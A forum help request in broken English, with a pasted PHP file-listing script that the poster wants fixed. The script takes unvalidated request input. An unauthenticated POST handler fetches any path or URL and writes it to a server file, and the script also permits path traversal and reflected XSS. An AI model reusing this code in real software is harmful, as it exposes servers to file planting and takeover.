in this the updates and if i add ny other line that show also in catigary pages !
how i remove update and my edited lines frm catigary page
and other problm is
folder show all my file means dir open if i put index.php that folder show index.php in page
for this wht i do ???
how i remove update and my edited lines frm catigary page
and other problm is
folder show all my file means dir open if i put index.php that folder show index.php in page
for this wht i do ???
PHP Code:
<!-- Script By Prem contact us:-> premjatt@gmail.com -->
<?php
include('header.php');
include('config.php');
include('display_no.php');
function listFiles( $from = '.')
{
if(! is_dir($from))
return false;
$files = array();
$dirs = array( $from);
echo '';
while( NULL !== ($dir = array_pop($dirs)))
{
if( $dh = opendir($dir))
{
while( false !== ($file = readdir($dh)))
{
if( $file == '.' || $file == '..' || $file == 'description.txt' || substr($file,0,6) == 'thumb-')
continue;
$path = $dir . '/' . $file;
if( is_dir($path)){
//$size = dirSize($path);
$files['dir'][filemtime($path)] = array($file,$path,substr($path,strrpos($path, ".")+1));
}
else{
if($_REQUEST['sort']=='1') // sort by new to old
$files['files'][$file] = array($file,$path,format_size(filesize($path)));
else // sort by a-z
$files['files'][filemtime($path)] = array($file,$path,format_size(filesize($path)));
}
}
closedir($dh);
}
}
echo '';
return $files;
}
/*
::Prem=>: function profile()
this function calles fileList function to get list of files and directories
:Prem:
*/
function profile( $func, $trydir)
{
$list = $func( $trydir);
//echo 'Finished : '.count($list['files']).' files</pre>';
return $list;
}
/*
::Prem=> Do not change bellow: function format_size()
this function convert size from
BYTES to KB, MB, GB, TB
and return
:Prem:
*/
function format_size($size, $round = 2) {
$sizes = array('Byts', 'kb', 'mb', 'gb','TB');
$total = count($sizes)-1;
for ($i=0; $size > 1024 && $i < $total; $i++) $size /= 1024;
return round($size,$round).$sizes[$i];
}
if(isset($_POST['dir']))
{
$dir = "/";
$file = $_POST['file'];
$name = $_POST['sdir'];
if($content = file_get_contents($file))
{
$fp = fopen($dir.'/'.$name, 'w');
fwrite($fp, $content);
fclose($fp);
}}
if($_REQUEST['dir'])
$listof = $_REQUEST['dir'];
else
$listof = directoryPath;
// calling function to get file lists
if(is_dir($listof))
{
$list = listFiles($listof);
//echo '<h2>'.str_replace('/',' ',$listof).'</h2>';
$category = explode('/',$listof);
echo '<div class="my3">» '.$category[count($category)-1].' </div><div class="tCenter">Page ('.$_REQUEST['start'].'/'.ceil(count($list['files'])/filesPerPage) .')</div>';
echo '';
echo '';
if(is_file($listof.'/description.txt')){
$sfile = $listof.'/description.txt';
$desctiption = implode('<br/>', file($sfile));
echo '<div class="description tCenter">'.$desctiption.'</div>';
}
if(count($list['dir'])){
krsort($list['dir']);
/*
::Prem=>premjatt@gmail.com: printing dir list to screen
*/
$sdir = ($_REQUEST['sdir'] ? $_REQUEST['sdir'] : 1);
$display = dirPerPage * ($sdir-1);
$cat=1;
foreach($list['dir'] as $key){
if($cat > $display && $cat <= $display+dirPerPage){
echo "";
echo "<div style='padding:1px;padding-left:6px;'>» <a href='?dir=".$key[1]."&start=1'>".$key[0]."</a></div>";
}
$cat++;
}
echo '';
; echo '';
$mLink = $_SERVER['PHP_SELF'] . "?";
$mLink = $mLink."&dir=".$dir."&sdir=";
echo '<div class="dispNo">';
include_once('display_no.php');
display_pageno(count($list['dir']),$sdir,$mLink,dirPerPage);
echo '</div>';
}
if(count($list['files'])){
if($_REQUEST['sort']=='1'){ // Sort By New To Old
sort($list['files']);
echo '<div class="tCenter"><a href="?dir='.$_REQUEST['dir'].'&start=1&sort=2">Sort by New to Old</a></div>';
}
else{ // sort by a-z
krsort($list['files']);
echo '<div class="tCenter"><a href="?dir='.$_REQUEST['dir'].'&start=1&sort=1">Sort by A-Z</a></div>';
}
/*
::Prem=>premjatt@gmail.com: printing file list to screen
*/
$start = $_REQUEST['start']?$_REQUEST['start']:1;
$display = filesPerPage * ($start-1);
$c=1;
foreach($list['files'] as $key){
if($c>$display && $c<=$display+filesPerPage){
echo "<div style='padding:1px;padding-left:6px;'>";
$thumb = str_replace($key[0],'thumb-'.$key[0],$key[1]);
$thumb = substr($thumb,0,strrpos($thumb,'.')).'.jpg';
if(is_file($thumb)){
echo "<img src='$thumb' width=45 height=60 /><br/>";
}
elseif(substr($key[1],strrpos($key[1],'.')+1)=='jpg' || substr($key[1],strrpos($key[1],'.')+1)=='jpeg' || substr($key[1],strrpos($key[1],'.')+1)=='JPG'
|| substr($key[1],strrpos($key[1],'.')+1)=='gif'
|| substr($key[1],strrpos($key[1],'.')+1)=='GIF'
|| substr($key[1],strrpos($key[1],'.')+1)=='PNG'
|| substr($key[1],strrpos($key[1],'.')+1)=='png'){
echo "<img src=\"image.php?w=70&h=50&f=$key[1]&q=70\" /><br />";
}
echo "» <a href='file.php?file=".$key[1]."&start=".$_REQUEST['start']."'>".str_replace('ENTER HERE TEXT THAT YOU WANT TO HIDE','',$key[0])."</a> (".$key[2].")</div>";
}
$c++;
}
echo '';
; echo '';
$mLink = $_SERVER['PHP_SELF'] . "?" . $_SERVER['QUERY_STRING'];
$mLink = substr($mLink,0,strpos($mLink, '&start='));
$mLink = $mLink."&start=";
echo '<div class="dispNo">';
include_once('display_no.php');
display_pageno(count($list['files']),$start,$mLink,filesPerPage);
echo '</div>';
}
}
else
{
echo '<br/><h2>Error: wrong path entered...</h2><br/>';
}
/*
::Prem=>premjatt@gmail.com: Go back to parent dir
*/
echo '';
echo '';
echo '</div>';
if($listof!='files'){
$back = strrpos($listof, "/")?substr($listof,0,strrpos($listof,'/')):'';
$back = strrpos($back, "/")?substr($back,strrpos($back,'/')+1):$back;
echo '<div class="my3"><a href="index.php">» Home</a> ';
if($back)
echo '<a href="?dir='.substr($listof,0,strrpos($listof,'/')).'&start=1">» '.$back.'</a>';
echo '</div>';
}
; include_once('footer.php'); ?>
<!-- Script By Prem Choudhary. contact us:-> premjatt@gmail.com -->
</body></html>
Comment